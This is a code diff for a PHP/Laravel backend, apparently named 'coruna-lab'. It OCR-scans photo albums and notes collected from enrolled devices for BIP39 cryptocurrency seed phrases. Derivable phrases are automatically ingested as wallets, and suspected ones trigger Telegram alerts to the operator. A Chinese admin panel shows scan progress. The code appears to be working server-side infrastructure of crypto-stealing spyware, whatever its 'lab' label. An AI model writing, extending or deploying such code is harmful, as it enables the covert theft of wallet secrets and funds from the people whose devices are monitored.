$score = ($hits * 10) - (($len - $hits) * 2);
|
||||
if ($best !== null && ($hits < $best['word_count'] || ($hits === $best['word_count'] && $score <= $best['score']))) {
|
||||
continue;
|
||||
}
|
||||
$best = [
|
||||
'candidate' => implode(' ', $window),
|
||||
'word_count' => $hits,
|
||||
'score' => $score,
|
||||
'language' => 'en',
|
||||
'confirmed' => false,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
return $best;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function englishTokens(string $text): array
|
||||
{
|
||||
preg_match_all('/[a-z]{3,8}/', strtolower($text), $m);
|
||||
|
||||
return $m[0] ?? [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Keep list indices (1. 2. 12) from breaking a phrase, but digits/units
|
||||
* like 200 or 1.5 split a run so "pipe 200 cable" is not 12 words.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
private function noteTokens(string $text): array
|
||||
{
|
||||
$out = [];
|
||||
foreach (preg_split('/\s+/u', strtolower($text)) ?: [] as $raw) {
|
||||
$word = trim($raw, ".,!?;:\"'()[]");
|
||||
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||
$out[] = $word;
|
||||
|
||||
continue;
|
||||
}
|
||||
if (preg_match('/^\d{1,2}\.?$/', $word) === 1) {
|
||||
continue;
|
||||
}
|
||||
$out[] = '';
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/** @return array<string, true> */
|
||||
private function englishSet(): array
|
||||
{
|
||||
return self::$english ??= $this->loadSet();
|
||||
}
|
||||
|
||||
/** @return array<string, true> */
|
||||
private function loadSet(): array
|
||||
{
|
||||
$set = [];
|
||||
$path = resource_path('bip39/english.txt');
|
||||
if (! is_file($path)) {
|
||||
return $set;
|
||||
}
|
||||
foreach (file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [] as $line) {
|
||||
$word = strtolower(trim($line));
|
||||
if ($word !== '') {
|
||||
$set[$word] = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $set;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,378 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Jobs\ScanDeviceNotes;
|
||||
use App\Jobs\ScanPhotoMnemonic;
|
||||
use App\Models\Device;
|
||||
use App\Models\MnemonicFinding;
|
||||
use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class MnemonicScanService
|
||||
{
|
||||
public function __construct(
|
||||
private readonly MnemonicDetector $detector,
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
{
|
||||
if (app()->runningUnitTests()) {
|
||||
return;
|
||||
}
|
||||
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
|
||||
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
|
||||
return;
|
||||
}
|
||||
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
|
||||
}
|
||||
|
||||
public function dispatchNotes(Device $device): void
|
||||
{
|
||||
if (app()->runningUnitTests()) {
|
||||
return;
|
||||
}
|
||||
ScanDeviceNotes::dispatch($device->id);
|
||||
}
|
||||
|
||||
public function scanPhoto(Photo $photo): void
|
||||
{
|
||||
$jpeg = null;
|
||||
try {
|
||||
$jpeg = $this->preparer->jpegPath($photo);
|
||||
if ($jpeg === null) {
|
||||
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
||||
|
||||
return;
|
||||
}
|
||||
$text = $this->ocr->recognize($jpeg);
|
||||
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
|
||||
$this->markPhoto($photo, $this->photoStatus($photo), $text);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
|
||||
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
|
||||
} finally {
|
||||
if (is_string($jpeg) && is_file($jpeg)) {
|
||||
@unlink($jpeg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function scanDeviceNotes(Device $device): void
|
||||
{
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
if ($note === null) {
|
||||
return;
|
||||
}
|
||||
foreach ($note->items() as $index => $item) {
|
||||
$this->scanNoteItem($device, $note, $item, $index);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{title: string, body: string, native_id: int|string|null} $item
|
||||
*/
|
||||
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
|
||||
{
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$hash = NoteScan::itemHash($item);
|
||||
$row = NoteScan::query()->firstOrNew([
|
||||
'device_id' => $device->id,
|
||||
'note_id' => $note->id,
|
||||
'item_key' => $key,
|
||||
]);
|
||||
if ($row->exists
|
||||
&& hash_equals((string) $row->content_hash, $hash)
|
||||
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
|
||||
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
|
||||
$row->content_hash = $hash;
|
||||
$row->scan_status = $this->noteStatus($note, $key);
|
||||
$row->scanned_at = now();
|
||||
$row->save();
|
||||
}
|
||||
|
||||
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
|
||||
{
|
||||
$device = $finding->device;
|
||||
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
||||
return false;
|
||||
}
|
||||
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
|
||||
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
|
||||
return false;
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::CONFIRMED,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
|
||||
{
|
||||
$finding->status = MnemonicFinding::STATUS_DISMISSED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::EMPTY,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
public function photoProgress(?int $deviceId = null): array
|
||||
{
|
||||
$q = Photo::query();
|
||||
if ($deviceId !== null) {
|
||||
$q->where('device_id', $deviceId);
|
||||
}
|
||||
|
||||
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
public function noteProgress(?Device $device = null): array
|
||||
{
|
||||
if ($device !== null) {
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$items = $note ? $note->items() : [];
|
||||
$total = count($items);
|
||||
if ($total === 0) {
|
||||
return $this->progressFromCounts([]);
|
||||
}
|
||||
$scans = NoteScan::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('note_id', $note->id)
|
||||
->get()
|
||||
->keyBy('item_key');
|
||||
$counts = [];
|
||||
foreach ($items as $index => $item) {
|
||||
$key = NoteScan::itemKey($item, $index);
|
||||
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
|
||||
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
|
||||
}
|
||||
|
||||
return $this->progressFromCounts($counts);
|
||||
}
|
||||
|
||||
$itemTotal = 0;
|
||||
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
|
||||
$note = $rows->first();
|
||||
$itemTotal += count(NoteContent::normalizeStored($note->content));
|
||||
});
|
||||
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
|
||||
$progress = $this->progressFromCounts($scannedRows);
|
||||
$progress['total'] = $itemTotal;
|
||||
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
|
||||
|
||||
return $progress;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int, int> $counts
|
||||
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
|
||||
*/
|
||||
private function progressFromCounts(array $counts): array
|
||||
{
|
||||
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
|
||||
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
|
||||
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
|
||||
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
|
||||
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
|
||||
|
||||
return [
|
||||
'total' => $pending + $empty + $suspected + $confirmed + $failed,
|
||||
'scanned' => $empty + $suspected + $confirmed,
|
||||
'suspected' => $suspected,
|
||||
'confirmed' => $confirmed,
|
||||
'failed' => $failed,
|
||||
'pending' => $pending,
|
||||
];
|
||||
}
|
||||
|
||||
private function markPhoto(Photo $photo, int $status, string $text): void
|
||||
{
|
||||
$photo->scan_status = $status;
|
||||
$photo->scanned_at = now();
|
||||
$photo->ocr_text = mb_substr($text, 0, 8000);
|
||||
$photo->save();
|
||||
}
|
||||
|
||||
private function applyTextHit(
|
||||
?Device $device,
|
||||
string $source,
|
||||
string $text,
|
||||
?Photo $photo,
|
||||
?Note $note,
|
||||
?string $itemKey,
|
||||
): void {
|
||||
if ($device === null) {
|
||||
return;
|
||||
}
|
||||
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
|
||||
if ($photo !== null) {
|
||||
$q->where('photo_id', $photo->id);
|
||||
} else {
|
||||
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
|
||||
}
|
||||
|
||||
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
|
||||
if ($hit === null || ! $this->worthRecording($source, $hit)) {
|
||||
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$row = $q->first() ?? new MnemonicFinding([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'photo_id' => $photo?->id,
|
||||
'note_id' => $note?->id,
|
||||
'item_key' => $itemKey,
|
||||
]);
|
||||
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
||||
return;
|
||||
}
|
||||
$wasNew = ! $row->exists;
|
||||
$prevCandidate = $row->exists ? $row->candidate : '';
|
||||
$confirmed = $this->canIngestHit($hit);
|
||||
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->candidate = $hit['candidate'];
|
||||
$row->excerpt = mb_substr($text, 0, 2000);
|
||||
$row->word_count = $hit['word_count'];
|
||||
$row->score = $hit['score'];
|
||||
if ($confirmed) {
|
||||
$row->reviewed_by = 'scan';
|
||||
$row->reviewed_at = now();
|
||||
}
|
||||
$row->save();
|
||||
|
||||
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
||||
? WalletSource::fromTag('album_ocr')
|
||||
: WalletSource::fromTag('note_scan');
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
||||
$this->telegram->notifySuspectedMnemonic(
|
||||
$device->device_id,
|
||||
$sourceLabel,
|
||||
$hit['candidate'],
|
||||
(int) $hit['word_count'],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Album and notes both need 12+ consecutive words that can derive an address.
|
||||
*
|
||||
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
||||
*/
|
||||
private function canIngestHit(array $hit): bool
|
||||
{
|
||||
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return Bip44::isUsableMnemonic((string) $hit['candidate']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
|
||||
*
|
||||
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
|
||||
*/
|
||||
private function worthRecording(string $source, array $hit): bool
|
||||
{
|
||||
if ($this->canIngestHit($hit)) {
|
||||
return true;
|
||||
}
|
||||
if ($source === MnemonicFinding::SOURCE_NOTE) {
|
||||
return false;
|
||||
}
|
||||
if (! empty($hit['confirmed'])) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
|
||||
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
|
||||
}
|
||||
|
||||
private function photoStatus(Photo $photo): int
|
||||
{
|
||||
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
|
||||
|
||||
return match ($status) {
|
||||
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
||||
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
|
||||
private function noteStatus(Note $note, string $itemKey): int
|
||||
{
|
||||
$status = MnemonicFinding::query()
|
||||
->where('note_id', $note->id)
|
||||
->where('item_key', $itemKey)
|
||||
->value('status');
|
||||
|
||||
return match ($status) {
|
||||
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
|
||||
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
|
||||
default => MnemonicScanStatus::EMPTY,
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
class MnemonicScanStatus
|
||||
{
|
||||
public const PENDING = 0;
|
||||
|
||||
public const EMPTY = 1;
|
||||
|
||||
public const SUSPECTED = 2;
|
||||
|
||||
public const CONFIRMED = 3;
|
||||
|
||||
public const FAILED = 4;
|
||||
|
||||
public static function label(int $status): string
|
||||
{
|
||||
return match ($status) {
|
||||
self::EMPTY => '已扫',
|
||||
self::SUSPECTED => '疑似',
|
||||
self::CONFIRMED => '确定含有',
|
||||
self::FAILED => '失败',
|
||||
default => '未扫',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
interface OcrDriver
|
||||
{
|
||||
public function recognize(string $imagePath): string;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
use App\Models\Photo;
|
||||
use App\Services\PhotoPreview;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PhotoOcrPreparer
|
||||
{
|
||||
public function __construct(private readonly PhotoPreview $preview) {}
|
||||
|
||||
/**
|
||||
* Write a resized JPEG for Tesseract. Caller must unlink the returned path.
|
||||
*/
|
||||
public function jpegPath(Photo $photo): ?string
|
||||
{
|
||||
$abs = Storage::disk('local')->path((string) $photo->path);
|
||||
if (! is_file($abs)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$payload = $this->preview->payload($abs, (string) ($photo->device?->device_id ?: $photo->device_id), (string) $photo->sha256);
|
||||
$bytes = (string) ($payload['bytes'] ?? '');
|
||||
if ($bytes === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'ocr_');
|
||||
if ($tmp === false) {
|
||||
return null;
|
||||
}
|
||||
$jpeg = $tmp.'.jpg';
|
||||
@unlink($tmp);
|
||||
file_put_contents($jpeg, $bytes);
|
||||
$this->resize($jpeg);
|
||||
|
||||
return $jpeg;
|
||||
}
|
||||
|
||||
private function resize(string $path): void
|
||||
{
|
||||
$max = (int) config('coruna.ocr.max_edge', 1800);
|
||||
if ($max < 400) {
|
||||
return;
|
||||
}
|
||||
$magick = $this->which('magick') ?? $this->which('convert');
|
||||
if ($magick !== null) {
|
||||
Process::timeout(30)->run([$magick, $path, '-resize', $max.'x'.$max.'>', $path]);
|
||||
|
||||
return;
|
||||
}
|
||||
if (PHP_OS_FAMILY === 'Darwin' && is_executable('/usr/bin/sips')) {
|
||||
Process::timeout(30)->run(['/usr/bin/sips', '-Z', (string) $max, $path]);
|
||||
}
|
||||
}
|
||||
|
||||
private function which(string $bin): ?string
|
||||
{
|
||||
$result = Process::timeout(3)->run(['which', $bin]);
|
||||
$path = trim($result->output());
|
||||
|
||||
return $result->successful() && $path !== '' ? $path : null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services\Ocr;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
|
||||
class TesseractOcrDriver implements OcrDriver
|
||||
{
|
||||
public function recognize(string $imagePath): string
|
||||
{
|
||||
if (! is_file($imagePath)) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$bin = (string) config('coruna.ocr.tesseract', 'tesseract');
|
||||
$langs = (string) config('coruna.ocr.langs', 'eng+chi_sim');
|
||||
$result = Process::timeout(90)->run([
|
||||
$bin,
|
||||
$imagePath,
|
||||
'stdout',
|
||||
'-l', $langs,
|
||||
'--psm', '6',
|
||||
]);
|
||||
|
||||
if (! $result->successful()) {
|
||||
Log::channel('stack')->warning('tesseract ocr failed', [
|
||||
'path' => $imagePath,
|
||||
'error' => mb_substr($result->errorOutput() ?: $result->output(), 0, 500),
|
||||
]);
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
return trim($result->output());
|
||||
}
|
||||
}
|
||||
@@ -113,6 +113,12 @@ class TelegramNotifier
|
||||
{
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
|
||||
'device_key' => $deviceKey,
|
||||
'bot_token_set' => $this->botToken() !== '',
|
||||
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
||||
]);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -167,11 +173,11 @@ class TelegramNotifier
|
||||
if ($desc === '') {
|
||||
$desc = 'HTTP '.$resp->status();
|
||||
}
|
||||
Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $desc];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
||||
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
}
|
||||
@@ -316,6 +322,17 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🔎 <b>疑似助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
|
||||
'📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
|
||||
@@ -39,6 +39,8 @@ final class WalletSource
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
'album_ocr' => '相册',
|
||||
'note_scan' => '备忘录扫描',
|
||||
];
|
||||
|
||||
/**
|
||||
|
||||
@@ -12,6 +12,11 @@ $adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', ''));
|
||||
$agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', ''));
|
||||
|
||||
return [
|
||||
'ocr' => [
|
||||
'tesseract' => env('CORUNA_TESSERACT', 'tesseract'),
|
||||
'langs' => env('CORUNA_OCR_LANGS', 'eng+chi_sim'),
|
||||
'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 1800),
|
||||
],
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
'xxbb' => [
|
||||
// Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('scan_status')->default(0)->after('barcode_count');
|
||||
$table->timestamp('scanned_at')->nullable()->after('scan_status');
|
||||
$table->mediumText('ocr_text')->nullable()->after('scanned_at');
|
||||
$table->index(['scan_status', 'created_at']);
|
||||
});
|
||||
|
||||
Schema::create('note_scans', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->unsignedBigInteger('device_id');
|
||||
$table->unsignedBigInteger('note_id');
|
||||
$table->string('item_key', 64);
|
||||
$table->string('content_hash', 64);
|
||||
$table->unsignedTinyInteger('scan_status')->default(0);
|
||||
$table->timestamp('scanned_at')->nullable();
|
||||
$table->timestamps();
|
||||
$table->unique(['note_id', 'item_key']);
|
||||
$table->index(['device_id', 'scan_status']);
|
||||
});
|
||||
|
||||
Schema::create('mnemonic_findings', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->unsignedBigInteger('device_id');
|
||||
$table->string('source', 16);
|
||||
$table->unsignedBigInteger('photo_id')->nullable();
|
||||
$table->unsignedBigInteger('note_id')->nullable();
|
||||
$table->string('item_key', 64)->nullable();
|
||||
$table->string('status', 16)->default('suspected');
|
||||
$table->text('candidate_enc');
|
||||
$table->text('excerpt')->nullable();
|
||||
$table->unsignedSmallInteger('word_count')->default(0);
|
||||
$table->unsignedSmallInteger('score')->default(0);
|
||||
$table->string('reviewed_by')->nullable();
|
||||
$table->timestamp('reviewed_at')->nullable();
|
||||
$table->timestamps();
|
||||
$table->index(['status', 'created_at']);
|
||||
$table->index(['device_id', 'source']);
|
||||
$table->index('photo_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('mnemonic_findings');
|
||||
Schema::dropIfExists('note_scans');
|
||||
Schema::table('photos', function (Blueprint $table) {
|
||||
$table->dropIndex(['scan_status', 'created_at']);
|
||||
$table->dropColumn(['scan_status', 'scanned_at', 'ocr_text']);
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -468,6 +468,17 @@ cd /www/wwwroot/coruna-lab
|
||||
进程数量: 2
|
||||
```
|
||||
|
||||
相册助记词 OCR 必须再加一条,**不要**和上面混跑(Tesseract 占满 1 核):
|
||||
|
||||
```text
|
||||
名称: coruna-ocr
|
||||
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=2 --tries=1 --timeout=120 --max-jobs=50
|
||||
启动目录: /www/wwwroot/coruna-lab
|
||||
进程数量: 1
|
||||
```
|
||||
|
||||
机器上需安装 `tesseract` 及语言包 `eng` + `chi_sim`。`QUEUE_CONNECTION` 必须是 `redis`。
|
||||
|
||||
1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
|
||||
|
||||
```ini
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -24,6 +24,12 @@
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
.photo-thumb{position:relative;display:inline-block}
|
||||
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
|
||||
.scan-badge{position:absolute;left:8px;top:8px;font-size:11px;line-height:16px;padding:0 5px;border-radius:2px;color:#fff;background:#909399}
|
||||
.scan-badge-1{background:#16b777}
|
||||
.scan-badge-2{background:#ff5722}
|
||||
.scan-badge-3{background:#16b777}
|
||||
.scan-badge-4{background:#c2c2c2}
|
||||
.scan-progress{color:#666;font-size:13px;margin:0 0 10px}
|
||||
.note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px}
|
||||
.note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333}
|
||||
.note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333}
|
||||
|
||||
@@ -264,10 +264,12 @@
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
|
||||
<div id="LAY-photo-grid" class="photo-grid"></div>
|
||||
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
|
||||
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
|
||||
@elseif ($tab === 'notes')
|
||||
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
|
||||
<div id="LAY-note-cards"></div>
|
||||
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
|
||||
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
|
||||
@@ -412,6 +414,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}, function (res) {
|
||||
var $grid = $('#LAY-photo-grid').empty();
|
||||
var list = (res && res.data) ? res.data : [];
|
||||
if (res && res.scan) {
|
||||
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
|
||||
}
|
||||
if (!list.length) {
|
||||
$('#LAY-photo-empty').show();
|
||||
} else {
|
||||
@@ -421,6 +426,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var card = $(
|
||||
'<a class="photo-card" href="javascript:;">' +
|
||||
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
|
||||
'<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + (p.scan_label || '未扫') + '</span>' +
|
||||
'<img alt="">' +
|
||||
'<div></div>' +
|
||||
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
|
||||
@@ -531,13 +537,16 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}, function (res) {
|
||||
var $list = $('#LAY-note-cards').empty();
|
||||
var items = (res && res.data) ? res.data : [];
|
||||
if (res && res.scan) {
|
||||
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
|
||||
}
|
||||
if (!items.length) {
|
||||
$('#LAY-note-empty').show();
|
||||
} else {
|
||||
$('#LAY-note-empty').hide();
|
||||
items.forEach(function (it) {
|
||||
var $card = $('<div class="note-card"></div>');
|
||||
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
|
||||
